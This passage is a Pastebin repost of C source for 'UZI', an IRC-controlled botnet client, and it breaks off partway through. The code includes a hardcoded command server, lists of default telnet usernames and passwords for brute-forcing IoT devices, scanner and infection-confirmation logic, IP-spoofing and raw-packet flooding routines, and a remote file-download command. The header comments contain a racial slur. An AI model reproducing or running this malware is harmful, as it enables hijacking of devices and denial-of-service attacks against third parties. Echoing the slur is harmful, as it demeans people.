Advertisement
Guest User

uzi.c

a guest
May 22nd, 2018
1,083
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 90.46 KB | None | 0 0
  1. // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
  2. // Leaked by unknown, reposted by Scarface. 23/5/2018
  3. #define STARTUP
  4. #undef IDENT
  5. #define FAKENAME "-bash"
  6. #define cnport 9394
  7. #define BOTuser "h4kkr uzi bot written by ZH"
  8. #define BOTident "UZI"
  9. #define CHAN "#"
  10. #define KEY ""
  11. #define PREFIX "[ZS]"
  12. #define CMD_IAC   255
  13. #define CMD_WILL  251
  14. #define CMD_WONT  252
  15. #define CMD_DO    253
  16. #define CMD_DONT  254
  17. #define PAD_RIGHT 1
  18. #define PAD_ZERO 2
  19. #define PRINT_BUF_LEN 12
  20. #define OPT_SGA   3
  21. #define SOCKBUF_SIZE 1024
  22. #define MAX_NICK_LENGTH 31
  23. #define NUM_ADMINS 2
  24. #define NUM_THREADS 150
  25. #define PHI 0x9e3779b9
  26. #include <stdarg.h>
  27. #include <pthread.h>
  28. #include <errno.h>
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <sys/types.h>
  33. #include <sys/stat.h>
  34. #include <fcntl.h>
  35. #include <strings.h>
  36. #include <netinet/in.h>
  37. #include <unistd.h>
  38. #include <sys/time.h>
  39. #include <sys/socket.h>
  40. #include <signal.h>
  41. #include <arpa/inet.h>
  42. #include <netdb.h>
  43. #include <time.h>
  44. #include <sys/wait.h>
  45. #include <sys/ioctl.h>
  46. #include <net/if.h>
  47. #include <netinet/ip.h>
  48. #include <netinet/tcp.h>
  49. //#######################
  50. //########UZI############
  51. //#######################
  52. // God bot written by ZH The Lord.
  53.  
  54. char encodes[] = {
  55.     '<', '>', '@', '_', ';', ':', ',', '.', '-', '+', '*', '^', '?', '=', ')', '(',
  56.     '|', 'A', 'B', '&', '%', '$', 'D', '"', '!', 'w', 'k', 'y', 'x', 'z', 'v', 'u',
  57.     't', 's', 'r', 'q', 'p', 'o', 'n', 'm', 'l', 'i', 'h', 'g', 'f', 'e', 'd', 'c',
  58.     'b', 'a', '~', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'F', 'U', 'C', 'K'
  59. };
  60.  
  61. char decodes[] = {
  62.     '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
  63.     'g', 'h', 'i', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'z', 'y',
  64.     'w', 'k', 'x', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'L', 'M', 'N', 'O',
  65.     'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'Z', 'Y', 'W', 'K', 'X', '|', ':', '.', ' '
  66. };
  67.  
  68. char encoded[512], decoded[512];
  69.  
  70. void encode(char *str) {
  71.     int x = 0, i = 0, c;
  72.  
  73.     memset(encoded, 0, sizeof(encoded));
  74.     while (x < strlen(str)) {
  75.         for (c = 0; c <= sizeof(decodes); c++) {
  76.             if (str[x] == decodes[c]) {
  77.                 encoded[i] = encodes[c];
  78.                 i++;
  79.             }
  80.         }
  81.  
  82.         x++;
  83.     }
  84.  
  85.     encoded[i] = '\0';
  86.     return;
  87. }
  88.  
  89. void decode(char *str) {
  90.     int x = 0, i = 0, c;
  91.  
  92.     memset(decoded, 0, sizeof(decoded));
  93.    
  94.     while (x < strlen(str)) {
  95.         for (c = 0; c <= sizeof(encodes); c++) {
  96.             if (str[x] == encodes[c]) {
  97.                 decoded[i] = decodes[c];
  98.                 i++;
  99.             }
  100.         }
  101.  
  102.         x++;
  103.     }
  104.  
  105.     decoded[i] = '\0';
  106.     return;
  107. }
  108. int numservers=1;
  109. int *maxtime=3600;
  110. char *servers[] = {
  111.         "lol.r00ts.ninja",
  112.         (void*)0
  113. };
  114.  
  115. int *maxSTDpacketsize=4096;
  116. char *strng;
  117. char *strng2;
  118. int *setpacketsize;
  119. int *maxthreads=2048;
  120. int *threadamount;
  121.  
  122.  
  123. char admins[NUM_ADMINS][MAX_NICK_LENGTH] = {"ZoneHax", "ZH"};
  124.  
  125.  
  126.  
  127. const char *UserAgents[] = {
  128.       "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0;  http://www.beslist.nl/",
  129.       "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  130.       "zspider/0.9-dev http://feedback.redkolibri.com/",
  131.       "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  132.       "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  133.       "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  134.       "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  135.       "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  136.       "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  137.       "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  138.       "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  139.       "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  140.       "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  141.  
  142.       "msnbot/0.9 (+http://search.msn.com/msnbot.htm)",
  143.       "msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
  144.       "MSNBOT/0.1 (http://search.msn.com/msnbot.htm)",
  145.       "Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)",
  146.       "Mozilla/5.0 (compatible; mxbot/1.0;  http://www.chainn.com/mxbot.html)",
  147.       "NetResearchServer/4.0(loopimprovements.com/robot.html)",
  148.       "NetResearchServer/3.5(loopimprovements.com/robot.html)",
  149.       "NetResearchServer/2.8(loopimprovements.com/robot.html)",
  150.       "NetResearchServer/2.7(loopimprovements.com/robot.html)",
  151.       "NetResearchServer/2.5(loopimprovements.com/robot.html)",
  152.       "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
  153.       "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)",
  154.       "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)",
  155.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
  156.       "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
  157.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET ",
  158.       "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
  159.       "Opera/9.20 (Windows NT 6.0; U; en)",
  160.       "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  161.       "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
  162.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
  163.       "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
  164.       "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)",
  165.       "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
  166.       "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
  167.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
  168.       "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  169.       "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  170.       "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  171.       "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  172.       "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22 Perk/3.3.0.0",
  173.       "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  174.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
  175.       "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  176.       "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  177.       "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  178.       "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  179.       "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  180.       "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6",
  181.       "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0",
  182.     "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  183. };
  184. char *getBuild() { //detect nearly every architecture. Coded by ZoneHax
  185.     #if defined(__x86_64__) || defined(_M_X64)
  186.     return "x86_64";
  187.     #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)
  188.     return "x86_32";
  189.     #elif defined(__ARM_ARCH_2__)
  190.     return "ARM2";
  191.     #elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
  192.     return "ARM3";
  193.     #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  194.     return "ARM4T";
  195.     #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  196.     return "ARM5"
  197.     #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)
  198.     return "ARM6T2";
  199.     #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)
  200.     return "ARM6";
  201.     #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
  202.     return "ARM7";
  203.     #elif defined(__aarch64__)
  204.     return "ARM64";
  205.     #elif defined(mips) || defined(__mips__) || defined(__mips)
  206.     return "MIPS";
  207.     #elif defined(__sh__)
  208.     return "SUPERH";
  209.     #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
  210.     return "POWERPC";
  211.     #elif defined(__sparc__) || defined(__sparc)
  212.     return "SPARC";
  213.     #elif defined(__m68k__)
  214.     return "M68K";
  215.     #else
  216.     return "UNKNOWN";
  217.     #endif
  218. }
  219. // Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
  220. // Leaked by unknown, reposted by Scarface. 23/5/2018
  221. char *uziusernames[] = {
  222.     "telnet\0", "root\0","root\0","admin\0","admin\0","user\0","login\0",
  223.     "guest\0", "support\0","root\0","root\0","CISCO\0","oracle\0","tim\0",
  224.     "root\0","root\0","root\0","root\0","root\0","root\0","root\0","root\0",
  225.     "support\0","root\0","admin\0","root\0","user\0","admin\0","root\0",
  226.     "admin\0","root\0","admin\0","admin\0","root\0","root\0","root\0",
  227.     "root\0","Administrator\0","service\0","supervisor\0","guest\0",
  228.     "guest\0","guest\0","admin1\0","administrator\0","666666\0",
  229.     "888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0",
  230.     "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0",
  231.     "system\0","ikwb\0","dreambox\0","user\0","realtek\0",
  232.     "00000000\0", "1111111\0","1234\0","12345\0",
  233.     "54321\0","123456\0","7ujMko0admin\0",
  234.     "1234\0", "pass\0", "meinsm\0", "tech\0",  "fucker\0",
  235. };
  236. char *uzipasswords[] = {
  237.     "telnet\0","root\0","admin\0","admin\0","toor\0","admin\0",
  238.     "user\0","guest\0","login\0","changeme\0","1234\0","12345\0",
  239.     "123456\0","default\0","pass\0","password\0","support\0","\0",
  240.     "maxided\0","oracle\0","tim\0","xc3511\0","vizxv\0","888888\0",
  241.     "xmhdipc\0","default\0","juantech\0","123456\0","54321\0","support\0",
  242.     "\0","password\0","12345\0","user\0","\0","pass\0","admin1234\0","1111\0",
  243.     "smcadmin\0","1111\0","666666\0","password\0","1234\0","klv123\0","admin\0",
  244.     "service\0","supervisor\0","guest\0","12345\0","password\0","1234\0",
  245.     "666666\0","888888\0","ubnt\0","klv1234\0","Zte521\0","hi3518\0",
  246.     "jvbzd\0","anko\0","zlxx\0","7ujMko0vizxv\0","7ujMko0admin\0",
  247.     "system\0","ikwb\0","dreambox\0","user\0","realtek\0","00000000\0",
  248.     "1111111\0","1234\0","12345\0","54321\0","123456\0","7ujMko0admin\0",
  249.     "1234\0","pass\0","meinsm\0","tech\0","fucker\0",
  250. };
  251.  
  252. int scanPid = 0;
  253.  
  254. char *advances[] = {":", "user", "ogin", "name", "pass", "dvrdvs", "assword:", (char*)0};                                                                                    
  255. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};                                                        
  256. char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", (char*)0};                                                                                                    
  257. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  258. char *infectconfirm = "UZI";
  259. char *downloadingbin = {"ownloading", "onnecting to", "% |", "ETA", (char*)0}; // checks if wget is grabbing file.
  260.  
  261. struct telstate_t {
  262.         int fd;
  263.         unsigned int ip;
  264.         unsigned char state;
  265.         unsigned char complete;
  266.         unsigned char usernameInd;     /* username     */
  267.         unsigned char passwordInd;     /* password     */
  268.         unsigned char tempDirInd;     /* tempdir         */
  269.         unsigned int tTimeout;        /* totalTimeout */
  270.         unsigned short bufUsed;
  271.         char *sockbuf;
  272. };
  273.  
  274. struct thread_args{
  275.     int iSTD_Sock;
  276.     struct sockaddr_in *sin;
  277. };
  278.  
  279. int sock,changeservers=0;
  280. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  281. unsigned int *pids, actualparent;
  282. unsigned long spoofs=0, spoofsm=0, numpids=0;
  283. static uint32_t Q[4096], c = 362436;
  284. struct in_addr ourIP;
  285. unsigned char macAddress[6] = {0};
  286. int strwildmatch(const char* pattern, const char* string) {
  287.     switch(*pattern) {
  288.         case '\0': return *string;
  289.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  290.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  291.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  292.     }
  293. }
  294.  
  295. uint32_t rand_cmwc(void)
  296. {
  297.         uint64_t t, a = 18782LL;
  298.         static uint32_t i = 4095;
  299.         uint32_t x, r = 0xfffffffe;
  300.         i = (i + 1) & 4095;
  301.         t = a * Q[i] + c;
  302.         c = (uint32_t)(t >> 32);
  303.         x = t + c;
  304.         if (x < c) {
  305.                 x++;
  306.                 c++;
  307.         }
  308.         return (Q[i] = r - x);
  309. }
  310. int sclose(int fd) {
  311.         if(3 > fd) return 1;
  312.         close(fd);
  313.         return 0;
  314. }
  315. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  316. {
  317.         int got = 1, total = 0;
  318.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  319.         return got == 0 ? NULL : buffer;
  320. }
  321. int getOurIP()
  322. {
  323.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  324.         if(sock == -1) return 0;
  325.  
  326.         struct sockaddr_in serv;
  327.         memset(&serv, 0, sizeof(serv));
  328.         serv.sin_family = AF_INET;
  329.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  330.         serv.sin_port = htons(53);
  331.  
  332.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  333.         if(err == -1) return 0;
  334.  
  335.         struct sockaddr_in name;
  336.         socklen_t namelen = sizeof(name);
  337.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  338.         if(err == -1) return 0;
  339.  
  340.         ourIP.s_addr = name.sin_addr.s_addr;
  341.  
  342.         int cmdline = open("/proc/net/route", O_RDONLY);
  343.         char linebuf[4096];
  344.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  345.         {
  346.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  347.                 {
  348.                         unsigned char *pos = linebuf;
  349.                         while(*pos != '\t') pos++;
  350.                         *pos = 0;
  351.                         break;
  352.                 }
  353.                 memset(linebuf, 0, 4096);
  354.         }
  355.         close(cmdline);
  356.  
  357.         if(*linebuf)
  358.         {
  359.                 int i;
  360.                 struct ifreq ifr;
  361.                 strcpy(ifr.ifr_name, linebuf);
  362.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  363.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  364.         }
  365.  
  366.         close(sock);
  367. }
  368. int realrand(int low, int high) {
  369.   srand(time(NULL) + getpid());
  370.   return (rand() % (high + 1 - low) + low);
  371. }
  372. void makeRandomShit(unsigned char *buf, int length) {
  373.     srand(time(NULL));
  374.     int i = 0;
  375.     for(i = 0; i < length; i++) buf[i] = rand();
  376. }
  377. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  378. {
  379.         iph->ihl = 5;
  380.         iph->version = 4;
  381.         iph->tos = 0;
  382.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  383.         iph->id = rand_cmwc();
  384.         iph->frag_off = 0;
  385.         iph->ttl = MAXTTL;
  386.         iph->protocol = protocol;
  387.         iph->check = 0;
  388.         iph->saddr = source;
  389.         iph->daddr = dest;
  390. }
  391. int Send(int sock, char *words, ...) {
  392.         static char textBuffer[1024];
  393.         va_list args;
  394.         va_start(args, words);
  395.         vsprintf(textBuffer, words, args);
  396.         va_end(args);
  397.         return write(sock,textBuffer,strlen(textBuffer));
  398. }
  399. int mfork(char *sender) {
  400.     unsigned int parent, *newpids, i;
  401.     if (disabled == 1) {
  402.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  403.         return 1;
  404.     }
  405.     parent=fork();
  406.     if (parent <= 0) return parent;
  407.     numpids++;
  408.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  409.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  410.     newpids[numpids-1]=parent;
  411.     free(pids);
  412.     pids=newpids;
  413.     return parent;
  414. }
  415. unsigned long getspoof() {
  416.     if (!spoofs) return rand();
  417.     if (spoofsm == 1) return ntohl(spoofs);
  418.     return ntohl(spoofs+(rand() % spoofsm)+1);
  419. }
  420.  
  421. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  422. char *makestring() {
  423.     char *tmp;
  424.     int len=(rand()%5)+4,i;
  425.     FILE *file;
  426.     tmp=(char*)malloc(len+1);
  427.     memset(tmp,0,len+1);
  428.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  429.     else {
  430.         int a=((rand()*rand())%45402)+1;
  431.         char buf[1024];
  432.         for (i=0;i<a;i++) fgets(buf,1024,file);
  433.         memset(buf,0,1024);
  434.         fgets(buf,1024,file);
  435.         filter(buf);
  436.         memcpy(tmp,buf,len);
  437.         fclose(file);
  438.     }
  439.     return tmp;
  440. }
  441. void identd() {
  442.         int sockname,sockfd,sin_size,tmpsock,i;
  443.         struct sockaddr_in my_addr,their_addr;
  444.         char szBuffer[1024];
  445.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  446.         my_addr.sin_family = AF_INET;
  447.         my_addr.sin_port = htons(113);
  448.         my_addr.sin_addr.s_addr = INADDR_ANY;
  449.         memset(&(my_addr.sin_zero), 0, 8);
  450.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  451.         if (listen(sockfd, 1) == -1) return;
  452.         if (fork() == 0) return;
  453.         sin_size = sizeof(struct sockaddr_in);
  454.         if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  455.         for(;;) {
  456.                 fd_set bla;
  457.                 struct timeval timee;
  458.                 FD_ZERO(&bla);
  459.                 FD_SET(tmpsock,&bla);
  460.                 timee.tv_sec=timee.tv_usec=60;
  461.                 if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  462.                 if (FD_ISSET(tmpsock,&bla)) break;
  463.         }
  464.         i = recv(tmpsock,szBuffer,1024,0);
  465.         if (i <= 0 || i >= 20) exit(0);
  466.         szBuffer[i]=0;
  467.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  468.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  469.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  470.         close(tmpsock);
  471.         close(sockfd);
  472.         exit(0);
  473. }
  474. long pow(long a, long b) {
  475.         if (b == 0) return 1;
  476.         if (b == 1) return a;
  477.         return a*pow(a,b-1);
  478. }
  479. u_short in_cksum(u_short *addr, int len) {
  480.         register int nleft = len;
  481.         register u_short *w = addr;
  482.         register int sum = 0;
  483.         u_short answer =0;
  484.         while (nleft > 1) {
  485.                 sum += *w++;
  486.                 nleft -= 2;
  487.         }
  488.         if (nleft == 1) {
  489.                 *(u_char *)(&answer) = *(u_char *)w;
  490.                 sum += answer;
  491.         }
  492.         sum = (sum >> 16) + (sum & 0xffff);
  493.         sum += (sum >> 16);
  494.         answer = ~sum;
  495.         return(answer);
  496. }
  497. void get(int sock, char *sender, int argc, char **argv) {
  498.         int sock2,i,d;
  499.         struct sockaddr_in server;
  500.         unsigned long ipaddr;
  501.         char buf[1024];
  502.         FILE *file;
  503.         unsigned char bufm[4096];
  504.         if (mfork(sender) != 0) return;
  505.         if (argc < 2) {
  506.                 Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  507.                 exit(0);
  508.         }
  509.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  510.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  511.                 exit(0);
  512.         }
  513.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  514.         else strcpy(buf,argv[1]);
  515.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  516.         buf[i]=0;
  517.         server.sin_family = AF_INET;
  518.         server.sin_port = htons(80);
  519.         if ((ipaddr = inet_addr(buf)) == -1) {
  520.                 struct hostent *hostm;
  521.                 if ((hostm=gethostbyname(buf)) == NULL) {
  522.                         Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  523.                         exit(0);
  524.                 }
  525.                 memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  526.         }
  527.         else server.sin_addr.s_addr = ipaddr;
  528.         memset(&(server.sin_zero), 0, 8);
  529.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  530.                 Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  531.                 exit(0);
  532.         }
  533.  
  534.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  535.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  536.         file=fopen(argv[2],"wb");
  537.         while(1) {
  538.                 int i;
  539.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  540.                 if (i < 4096) bufm[i]=0;
  541.                 for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  542.                         for (d+=4;d<i;d++) fputc(bufm[d],file);
  543.                         goto done;
  544.                 }
  545.         }
  546.         done:
  547.         Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  548.         while(1) {
  549.                 int i,d;
  550.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  551.                 if (i < 4096) bufm[i]=0;
  552.                 for (d=0;d<i;d++) fputc(bufm[d],file);
  553.         }
  554.         fclose(file);
  555.         close(sock2);
  556.         exit(0);
  557. }
  558. void getspoofs(int sock, char *sender, int argc, char **argv) {
  559.         unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  560.         if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  561.         else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  562. }
  563. void version(int sock, char *sender, int argc, char **argv) {
  564.         Send(sock,"NOTICE %s : Version 2\n",sender);
  565. }
  566. void nickc(int sock, char *sender, int argc, char **argv) {
  567.         if (argc != 1) {
  568.                 Send(sock,"NOTICE %s :7NICK <nick>\n",sender);
  569.                 return;
  570.         }
  571.         if (strlen(argv[1]) >= 10) {
  572.                 Send(sock,"NOTICE %s :7Nick cannot be larger than 9 characters.\n",sender);
  573.                 return;
  574.         }
  575.         Send(sock,"NICK %s\n",argv[1]);
  576. }
  577. void disable(int sock, char *sender, int argc, char **argv) {
  578.         if (argc != 1) {
  579.                 Send(sock,"NOTICE %s :7DISABLE <pass>\n",sender);
  580.                 Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  581.                 return;
  582.         }
  583.     if (disabled) {
  584.         Send(sock,"NOTICE %s :7Already disabled.\n",sender);
  585.         return;
  586.     }
  587.     if (strlen(argv[1]) > 254) {
  588.                 Send(sock,"NOTICE %s :7Password too long! > 254\n",sender);
  589.                 return;
  590.     }
  591.         disabled=1;
  592.     memset(dispass,0,256);
  593.     strcpy(dispass,argv[1]);
  594.     Send(sock,"NOTICE %s :7Disable successful.\n");
  595. }
  596. void enable(int sock, char *sender, int argc, char **argv) {
  597.         if (argc != 1) {
  598.                 Send(sock,"NOTICE %s :7ENABLE <pass>\n",sender);
  599.                 Send(sock,"NOTICE %s :7Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  600.                 return;
  601.         }
  602.     if (!disabled) {
  603.         Send(sock,"NOTICE %s :7Already enabled.\n",sender);
  604.         return;
  605.     }
  606.     if (strcasecmp(dispass,argv[1])) {
  607.         Send(sock,"NOTICE %s :7Wrong password\n",sender);
  608.         return;
  609.     }
  610.         disabled=0;
  611.     Send(sock,"NOTICE %s :7Password correct.\n",sender);
  612. }
  613. void spoof(int sock, char *sender, int argc, char **argv) {
  614.         char ip[256];
  615.         int i, num;
  616.         unsigned long uip;
  617.         if (argc != 1) {
  618.                 Send(sock,"NOTICE %s :7Removed all spoofs\n",sender);
  619.                 spoofs=0;
  620.                 spoofsm=0;
  621.                 return;
  622.         }
  623.         if (strlen(argv[1]) > 16) {
  624.                 Send(sock,"NOTICE %s :7What kind of subnet address is that? Do something like: 169.40\n",sender);
  625.                 return;
  626.         }
  627.         strcpy(ip,argv[1]);
  628.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  629.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  630.         num=-(num-4);
  631.         for (i=0;i<num;i++) strcat(ip,".0");
  632.         if (num == 0) spoofsm=1;
  633.         else spoofsm=pow(256,num);
  634.         spoofs=uip;
  635. }
  636. struct udphdr {
  637.         unsigned short source;
